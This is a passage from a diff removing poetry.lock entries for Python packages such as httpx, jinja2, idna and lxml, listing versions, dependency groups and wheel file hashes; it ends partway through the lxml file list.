"pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "pyyaml (>=5.3.1)", "ujson (>=5.8.0)", "uvicorn[standard] (>=0.12.0)"] -standard = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "jinja2 (>=3.1.5)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] -standard-no-fastapi-cloud-cli = ["email-validator (>=2.0.0)", "fastapi-cli[standard-no-fastapi-cloud-cli] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "jinja2 (>=3.1.5)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] - -[[package]] -name = "filelock" -version = "3.20.3" -description = "A platform independent file lock." -optional = false -python-versions = ">=3.10" -groups = ["main", "dev"] -files = [ - {file = "filelock-3.20.3-py3-none-any.whl", hash = "sha256:4b0dda527ee31078689fc205ec4f1c1bf7d56cf88b6dc9426c4f230e46c2dce1"}, - {file = "filelock-3.20.3.tar.gz", hash = "sha256:18c57ee915c7ec61cff0ecf7f0f869936c7c30191bb0cf406f1341778d0834e1"}, -] - -[[package]] -name = "ghp-import" -version = "2.1.0" -description = "Copy your docs directly to the gh-pages branch." -optional = false -python-versions = "*" -groups = ["docs"] -files = [ - {file = "ghp-import-2.1.0.tar.gz", hash = "sha256:9c535c4c61193c2df8871222567d7fd7e5014d835f97dc7b7439069e2413d343"}, - {file = "ghp_import-2.1.0-py3-none-any.whl", hash = "sha256:8337dd7b50877f163d4c0289bc1f1c7f127550241988d568c1db512c4324a619"}, -] - -[package.dependencies] -python-dateutil = ">=2.8.1" - -[package.extras] -dev = ["flake8", "markdown", "twine", "wheel"] - -[[package]] -name = "griffe" -version = "1.15.0" -description = "Signatures for entire Python programs. Extract the structure, the frame, the skeleton of your project, to generate API documentation or find breaking changes in your API." -optional = false -python-versions = ">=3.10" -groups = ["docs"] -files = [ - {file = "griffe-1.15.0-py3-none-any.whl", hash = "sha256:6f6762661949411031f5fcda9593f586e6ce8340f0ba88921a0f2ef7a81eb9a3"}, - {file = "griffe-1.15.0.tar.gz", hash = "sha256:7726e3afd6f298fbc3696e67958803e7ac843c1cfe59734b6251a40cdbfb5eea"}, -] - -[package.dependencies] -colorama = ">=0.4" - -[package.extras] -pypi = ["pip (>=24.0)", "platformdirs (>=4.2)", "wheel (>=0.42)"] - -[[package]] -name = "h11" -version = "0.16.0" -description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" -optional = false -python-versions = ">=3.8" -groups = ["main", "dev"] -files = [ - {file = "h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86"}, - {file = "h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1"}, -] - -[[package]] -name = "httpcore" -version = "1.0.9" -description = "A minimal low-level HTTP client." -optional = false -python-versions = ">=3.8" -groups = ["main", "dev"] -files = [ - {file = "httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55"}, - {file = "httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8"}, -] - -[package.dependencies] -certifi = "*" -h11 = ">=0.16" - -[package.extras] -asyncio = ["anyio (>=4.0,<5.0)"] -http2 = ["h2 (>=3,<5)"] -socks = ["socksio (==1.*)"] -trio = ["trio (>=0.22.0,<1.0)"] - -[[package]] -name = "httpx" -version = "0.28.1" -description = "The next generation HTTP client." -optional = false -python-versions = ">=3.8" -groups = ["main", "dev"] -files = [ - {file = "httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad"}, - {file = "httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc"}, -] - -[package.dependencies] -anyio = "*" -certifi = "*" -httpcore = "==1.*" -idna = "*" - -[package.extras] -brotli = ["brotli ; platform_python_implementation == \"CPython\"", "brotlicffi ; platform_python_implementation != \"CPython\""] -cli = ["click (==8.*)", "pygments (==2.*)", "rich (>=10,<14)"] -http2 = ["h2 (>=3,<5)"] -socks = ["socksio (==1.*)"] -zstd = ["zstandard (>=0.18.0)"] - -[[package]] -name = "identify" -version = "2.6.16" -description = "File identification library for Python" -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "identify-2.6.16-py2.py3-none-any.whl", hash = "sha256:391ee4d77741d994189522896270b787aed8670389bfd60f326d677d64a6dfb0"}, - {file = "identify-2.6.16.tar.gz", hash = "sha256:846857203b5511bbe94d5a352a48ef2359532bc8f6727b5544077a0dcfb24980"}, -] - -[package.extras] -license = ["ukkonen"] - -[[package]] -name = "idna" -version = "3.11" -description = "Internationalized Domain Names in Applications (IDNA)" -optional = false -python-versions = ">=3.8" -groups = ["main", "dev", "docs"] -files = [ - {file = "idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea"}, - {file = "idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902"}, -] - -[package.extras] -all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] - -[[package]] -name = "importlib-metadata" -version = "8.7.1" -description = "Read metadata from Python packages" -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "importlib_metadata-8.7.1-py3-none-any.whl", hash = "sha256:5a1f80bf1daa489495071efbb095d75a634cf28a8bc299581244063b53176151"}, - {file = "importlib_metadata-8.7.1.tar.gz", hash = "sha256:49fef1ae6440c182052f407c8d34a68f72efc36db9ca90dc0113398f2fdde8bb"}, -] - -[package.dependencies] -zipp = ">=3.20" - -[package.extras] -check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""] -cover = ["pytest-cov"] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -enabler = ["pytest-enabler (>=3.4)"] -perf = ["ipython"] -test = ["flufl.flake8", "jaraco.test (>=5.4)", "packaging", "pyfakefs", "pytest (>=6,!=8.1.*)", "pytest-perf (>=0.9.2)"] -type = ["mypy (<1.19) ; platform_python_implementation == \"PyPy\"", "pytest-mypy (>=1.0.1)"] - -[[package]] -name = "importlib-resources" -version = "6.5.2" -description = "Read resources from Python packages" -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "importlib_resources-6.5.2-py3-none-any.whl", hash = "sha256:789cfdc3ed28c78b67a06acb8126751ced69a3d5f79c095a98298cd8a760ccec"}, - {file = "importlib_resources-6.5.2.tar.gz", hash = "sha256:185f87adef5bcc288449d98fb4fba07cea78bc036455dd44c5fc4a2fe78fed2c"}, -] - -[package.extras] -check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""] -cover = ["pytest-cov"] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -enabler = ["pytest-enabler (>=2.2)"] -test = ["jaraco.test (>=5.4)", "pytest (>=6,!=8.1.*)", "zipp (>=3.17)"] -type = ["pytest-mypy"] - -[[package]] -name = "iniconfig" -version = "2.3.0" -description = "brain-dead simple config-ini parsing" -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12"}, - {file = "iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730"}, -] - -[[package]] -name = "jinja2" -version = "3.1.6" -description = "A very fast and expressive template engine." -optional = false -python-versions = ">=3.7" -groups = ["main", "dev", "docs"] -files = [ - {file = "jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67"}, - {file = "jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d"}, -] - -[package.dependencies] -MarkupSafe = ">=2.0" - -[package.extras] -i18n = ["Babel (>=2.7)"] - -[[package]] -name = "libsass" -version = "0.23.0" -description = "Sass for Python: A straightforward binding of libsass for Python." -optional = false -python-versions = ">=3.8" -groups = ["docs"] -files = [ - {file = "libsass-0.23.0-cp38-abi3-macosx_11_0_x86_64.whl", hash = "sha256:34cae047cbbfc4ffa832a61cbb110f3c95f5471c6170c842d3fed161e40814dc"}, - {file = "libsass-0.23.0-cp38-abi3-macosx_14_0_arm64.whl", hash = "sha256:ea97d1b45cdc2fc3590cb9d7b60f1d8915d3ce17a98c1f2d4dd47ee0d9c68ce6"}, - {file = "libsass-0.23.0-cp38-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:4a218406d605f325d234e4678bd57126a66a88841cb95bee2caeafdc6f138306"}, - {file = "libsass-0.23.0-cp38-abi3-win32.whl", hash = "sha256:31e86d92a5c7a551df844b72d83fc2b5e50abc6fbbb31e296f7bebd6489ed1b4"}, - {file = "libsass-0.23.0-cp38-abi3-win_amd64.whl", hash = "sha256:a2ec85d819f353cbe807432d7275d653710d12b08ec7ef61c124a580a8352f3c"}, - {file = "libsass-0.23.0.tar.gz", hash = "sha256:6f209955ede26684e76912caf329f4ccb57e4a043fd77fe0e7348dd9574f1880"}, -] - -[[package]] -name = "livereload" -version = "2.7.1" -description = "Python LiveReload is an awesome tool for web developers" -optional = false -python-versions = ">=3.7" -groups = ["docs"] -files = [ - {file = "livereload-2.7.1-py3-none-any.whl", hash = "sha256:5201740078c1b9433f4b2ba22cd2729a39b9d0ec0a2cc6b4d3df257df5ad0564"}, - {file = "livereload-2.7.1.tar.gz", hash = "sha256:3d9bf7c05673df06e32bea23b494b8d36ca6d10f7d5c3c8a6989608c09c986a9"}, -] - -[package.dependencies] -tornado = "*" - -[[package]] -name = "lockfile" -version = "0.12.2" -description = "Platform-independent file locking module" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "lockfile-0.12.2-py2.py3-none-any.whl", hash = "sha256:6c3cb24f344923d30b2785d5ad75182c8ea7ac1b6171b08657258ec7429d50fa"}, - {file = "lockfile-0.12.2.tar.gz", hash = "sha256:6aed02de03cba24efabcd600b30540140634fc06cfa603822d508d5361e9f799"}, -] - -[[package]] -name = "lxml" -version = "6.0.2" -description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "lxml-6.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e77dd455b9a16bbd2a5036a63ddbd479c19572af81b624e79ef422f929eef388"}, - {file = "lxml-6.0.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5d444858b9f07cefff6455b983aea9a67f7462ba1f6cbe4a21e8bf6791bf2153"}, - {file = "lxml-6.0.2-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f952dacaa552f3bb8834908dddd500ba7d508e6ea6eb8c52eb2d28f48ca06a31"}, - {file = "lxml-6.0.2-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:71695772df6acea9f3c0e59e44ba8ac50c4f125217e84aab21074a1a55e7e5c9"}, - {file = "lxml-6.0.2-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:17f68764f35fd78d7c4cc4ef209a184c38b65440378013d24b8aecd327c3e0c8"}, - {file = "lxml-6.0.2-cp310-cp310-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:058027e261afed589eddcfe530fcc6f3402d7fd7e89bfd0532df82ebc1563dba"}, - {file = "lxml-6.0.2-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8ffaeec5dfea5881d4c9d8913a32d10cfe3923495386106e4a24d45300ef79c"}, - {file = "lxml-6.0.2-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:f2e3b1a6bb38de0bc713edd4d612969dd250ca8b724be8d460001a387507021c"}, - {file = "lxml-6.0.2-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d6690ec5ec1cce0385cb20896b16be35247ac8c2046e493d03232f1c2414d321"}, - {file = "lxml-6.0.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f2a50c3c1d11cad0ebebbac357a97b26aa79d2bcaf46f256551152aa85d3a4d1"}, - {file = "lxml-6.0.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:3efe1b21c7801ffa29a1112fab3b0f643628c30472d507f39544fd48e9549e34"}, - {file = "lxml-6.0.2-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:59c45e125140b2c4b33920d21d83681940ca29f0b83f8629ea1a2196dc8cfe6a"}, - {file = "lxml-6.0.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:452b899faa64f1805943ec1c0c9ebeaece01a1af83e130b69cdefeda180bb42c"}, - {file = "lxml-6.0.2-cp310-cp310-win32.whl", hash = "sha256:1e786a464c191ca43b133906c6903a7e4d56bef376b75d97ccbb8ec5cf1f0a4b"}, - {file = "lxml-6.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:dacf3c64ef3f7440e3167aa4b49aa9e0fb99e0aa4f9ff03795640bf94531bcb0"}, - {file = "lxml-6.0.2-cp310-cp310-win_arm64.whl", hash = "sha256:45f93e6f75123f88d7f0cfd90f2d05f441b808562bf0bc01070a00f53f5028b5"}, - {file = "lxml-6.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:13e35cbc684aadf05d8711a5d1b5857c92e5e580efa9a0d2be197199c8def607"}, - {file = "lxml-6.0.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3b1675e096e17c6fe9c0e8c81434f5736c0739ff9ac6123c87c2d452f48fc938"}, - {file = "lxml-6.0.2-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8ac6e5811ae2870953390452e3476694196f98d447573234592d30488147404d"}, - {file = "lxml-6.0.2-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5aa0fc67ae19d7a64c3fe725dc9a1bb11f80e01f78289d05c6f62545affec438"}, - {file = "lxml-6.0.2-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:de496365750cc472b4e7902a485d3f152ecf57bd3ba03ddd5578ed8ceb4c5964"}, - {file = "lxml-6.0.2-cp311-cp311-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:200069a593c5e40b8f6fc0d84d86d970ba43138c3e68619ffa234bc9bb806a4d"}, - {file = "lxml-6.0.2-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7d2de809c2ee3b888b59f995625385f74629707c9355e0ff856445cdcae682b7"}, - {file = "lxml-6.0.2-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:b2c3da8d93cf5db60e8858c17684c47d01fee6405e554fb55018dd85fc23b178"}, - {file = "lxml-6.0.2-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:442de7530296ef5e188373a1ea5789a46ce90c4847e597856570439621d9c553"}, - {file = "lxml-6.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2593c77efde7bfea7f6389f1ab249b15ed4aa5bc5cb5131faa3b843c429fbedb"}, - {file = "lxml-6.0.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:3e3cb08855967a20f553ff32d147e14329b3ae70ced6edc2f282b94afbc74b2a"}, - {file = "lxml-6.0.2-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:2ed6c667fcbb8c19c6791bbf40b7268ef8ddf5a96940ba9404b9f9a304832f6c"}, - {file = "lxml-6.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b8f18914faec94132e5b91e69d76a5c1d7b0c73e2489ea8929c4aaa10b76bbf7"}, - {file = "lxml-6.0.2-cp311-cp311-win32.whl", hash = "sha256:6605c604e6daa9e0d7f0a2137bdc47a2e93b59c60a65466353e37f8272f47c46"}, - {file = "lxml-6.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:e5867f2651016a3afd8dd2c8238baa66f1e2802f44bc17e236f547ace6647078"}, - {file = "lxml-6.0.2-cp311-cp311-win_arm64.whl", hash = "sha256:4197fb2534ee05fd3e7afaab5d8bfd6c2e186f65ea7f9cd6a82809c887bd1285"}, - {file = "lxml-6.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:a59f5448ba2ceccd06995c95ea59a7674a10de0810f2ce90c9006f3cbc044456"}, - {file = "lxml-6.0.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:e8113639f3296706fbac34a30813929e29247718e88173ad849f57ca59754924"}, - {file = "lxml-6.0.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a8bef9b9825fa8bc816a6e641bb67219489229ebc648be422af695f6e7a4fa7f"}, - {file = "lxml-6.0.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:65ea18d710fd14e0186c2f973dc60bb52039a275f82d3c44a0e42b43440ea534"}, - {file = "lxml-6.0.2-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c371aa98126a0d4c739ca93ceffa0fd7a5d732e3ac66a46e74339acd4d334564"}, - {file = "lxml-6.0.2-cp312-cp312-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:700efd30c0fa1a3581d80a748157397559396090a51d306ea59a70020223d16f"}, - {file = "lxml-6.0.2-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c33e66d44fe60e72397b487ee92e01da0d09ba2d66df8eae42d77b6d06e5eba0"}, - {file = "lxml-6.0.2-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:90a345bbeaf9d0587a3aaffb7006aa39ccb6ff0e96a57286c0cb2fd1520ea192"}, - {file = "lxml-6.0.2-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:064fdadaf7a21af3ed1dcaa106b854077fbeada827c18f72aec9346847cd65d0"}, - {file = "lxml-6.0.2-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fbc74f42c3525ac4ffa4b89cbdd00057b6196bcefe8bce794abd42d33a018092"}, - {file = "lxml-6.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6ddff43f702905a4e32bc24f3f2e2edfe0f8fde3277d481bffb709a4cced7a1f"}, - {file = "lxml-6.0.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:6da5185951d72e6f5352166e3da7b0dc27aa70bd1090b0eb3f7f7212b53f1bb8"}, - {file = "lxml-6.0.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:57a86e1ebb4020a38d295c04fc79603c7899e0df71588043eb218722dabc087f"}, - {file = "lxml-6.0.2-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:2047d8234fe735ab77802ce5f2297e410ff40f5238aec569ad7c8e163d7b19a6"}, - {file = "lxml-6.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6f91fd2b2ea15a6800c8e24418c0775a1694eefc011392da73bc6cef2623b322"}, - {file = "lxml-6.0.2-cp312-cp312-win32.whl", hash = "sha256:3ae2ce7d6fedfb3414a2b6c5e20b249c4c607f72cb8d2bb7cc9c6ec7c6f4e849"}, - {file = "lxml-6.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:72c87e5ee4e58a8354fb9c7c84cbf95a1c8236c127a5d1b7683f04bed8361e1f"}, - {file = "lxml-6.0.2-cp312-cp312-win_arm64.whl", hash = "sha256:61cb10eeb95570153e0c0e554f58df92ecf5109f75eacad4a95baa709e26c3d6"}, - {file = "lxml-6.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:9b33d21594afab46f37ae58dfadd06636f154923c4e8a4d754b0127554eb2e77"}, - {file = "lxml-6.0.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:6c8963287d7a4c5c9a432ff487c52e9c5618667179c18a204bdedb27310f022f"}, - {file = "lxml-6.0.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1941354d92699fb5ffe6ed7b32f9649e43c2feb4b97205f75866f7d21aa91452"}, - {file = "lxml-6.0.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:bb2f6ca0ae2d983ded09357b84af659c954722bbf04dea98030064996d156048"}, - {file = "lxml-6.0.2-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eb2a12d704f180a902d7fa778c6d71f36ceb7b0d317f34cdc76a5d05aa1dd1df"}, - {file = "lxml-6.0.2-cp313-cp313-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:6ec0e3f745021bfed19c456647f0298d60a24c9ff86d9d051f52b509663feeb1"}, - {file = "lxml-6.0.2-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:846ae9a12d54e368933b9759052d6206a9e8b250291109c48e350c1f1f49d916"}, - {file = "lxml-6.0.2-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ef9266d2aa545d7374938fb5c484531ef5a2ec7f2d573e62f8ce722c735685fd"}, - {file = "lxml-6.0.2-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:4077b7c79f31755df33b795dc12119cb557a0106bfdab0d2c2d97bd3cf3dffa6"}, - {file = "lxml-6.0.2-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a7c5d5e5f1081955358533be077166ee97ed2571d6a66bdba6ec2f609a715d1a"}, - {file = "lxml-6.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:8f8d0cbd0674ee89863a523e6994ac25fd5be9c8486acfc3e5ccea679bad2679"}, - {file = "lxml-6.0.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:2cbcbf6d6e924c28f04a43f3b6f6e272312a090f269eff68a2982e13e5d57659"}, - {file = "lxml-6.0.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:dfb874cfa53340009af6bdd7e54ebc0d21012a60a4e65d927c2e477112e63484"}, - {file = "lxml-6.0.2-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:fb8dae0b6b8b7f9e96c26fdd8121522ce5de9bb5538010870bd538683d30e9a2"}, - {file = "lxml-6.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:358d9adae670b63e95bc59747c72f4dc97c9ec58881d4627fe0120da0f90d314"}, - {file = "lxml-6.0.2-cp313-cp313-win32.whl", hash = "sha256:e8cd2415f372e7e5a789d743d133ae474290a90b9023197fd78f32e2dc6873e2"}, - {file = "lxml-6.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:b30d46379644fbfc3ab81f8f82ae4de55179414651f110a1514f0b1f8f6cb2d7"}, - {file = "lxml-6.0.2-cp313-cp313-win_arm64.whl", hash = "sha256:13dcecc9946dca97b11b7c40d29fba63b55ab4170d3c0cf8c0c164343b9bfdcf"}, - {file = "lxml-6.0.2-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:b0c732aa23de8f8aec23f4b580d1e52905ef468afb4abeafd3fec77042abb6fe"}, - {file = "lxml-6.0.2-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:4468e3b83e10e0317a89a33d28f7aeba1caa4d1a6fd457d115dd4ffe90c5931d"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:abd44571493973bad4598a3be7e1d807ed45aa2adaf7ab92ab7c62609569b17d"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:370cd78d5855cfbffd57c422851f7d3864e6ae72d0da615fca4dad8c45d375a5"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:901e3b4219fa04ef766885fb40fa516a71662a4c61b80c94d25336b4934b71c0"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:a4bf42d2e4cf52c28cc1812d62426b9503cdb0c87a6de81442626aa7d69707ba"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b2c7fdaa4d7c3d886a42534adec7cfac73860b89b4e5298752f60aa5984641a0"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98a5e1660dc7de2200b00d53fa00bcd3c35a3608c305d45a7bbcaf29fa16e83d"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:dc051506c30b609238d79eda75ee9cab3e520570ec8219844a72a46020901e37"}, - {file = "lxml-6.0.2-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:8799481bbdd212470d17513a54d568f44416db01250f49449647b5ab5b5dccb9"}, - {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9261bb77c2dab42f3ecd9103951aeca2c40277701eb7e912c545c1b16e0e4917"}, - {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:65ac4a01aba353cfa6d5725b95d7aed6356ddc0a3cd734de00124d285b04b64f"}, - {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:b22a07cbb82fea98f8a2fd814f3d1811ff9ed76d0fc6abc84eb21527596e7cc8"}, - {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:d759cdd7f3e055d6bc8d9bec3ad905227b2e4c785dc16c372eb5b5e83123f48a"}, - {file = "lxml-6.0.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:945da35a48d193d27c188037a05fec5492937f66fb1958c24fc761fb9d40d43c"}, - {file = "lxml-6.0.2-cp314-cp314-win32.whl", hash = "sha256:be3aaa60da67e6153eb15715cc2e19091af5dc75faef8b8a585aea372507384b"}, - {file = "lxml-6.0.2-cp314-cp314-win_amd64.whl", hash = "sha256:fa25afbadead523f7001caf0c2382afd272c315a033a7b06336da2637d92d6ed"}, - {file = "lxml-6.0.2-cp314-cp314-win_arm64.whl", hash = "sha256:063eccf89df5b24e361b123e257e437f9e9878f425ee9aae3144c77faf6da6d8"}, - {file = "lxml-6.0.2-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:6162a86d86893d63084faaf4ff937b3daea233e3682fb4474db07395794fa80d"}, - {file = "lxml-6.0.2-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:414aaa94e974e23a3e92e7ca5b97d10c0cf37b6481f50911032c69eeb3991bba"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:48461bd21625458dd01e14e2c38dd0aea69addc3c4f960c30d9f59d7f93be601"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:25fcc59afc57d527cfc78a58f40ab4c9b8fd096a9a3f964d2781ffb6eb33f4ed"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5179c60288204e6ddde3f774a93350177e08876eaf3ab78aa3a3649d43eb7d37"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:967aab75434de148ec80597b75062d8123cadf2943fb4281f385141e18b21338"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d100fcc8930d697c6561156c6810ab4a508fb264c8b6779e6e61e2ed5e7558f9"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2ca59e7e13e5981175b8b3e4ab84d7da57993eeff53c07764dcebda0d0e64ecd"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:957448ac63a42e2e49531b9d6c0fa449a1970dbc32467aaad46f11545be9af1d"}, - {file = "lxml-6.0.2-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b7fc49c37f1786284b12af63152fe1d0990722497e2d5817acfe7a877522f9a9"}, - {file = 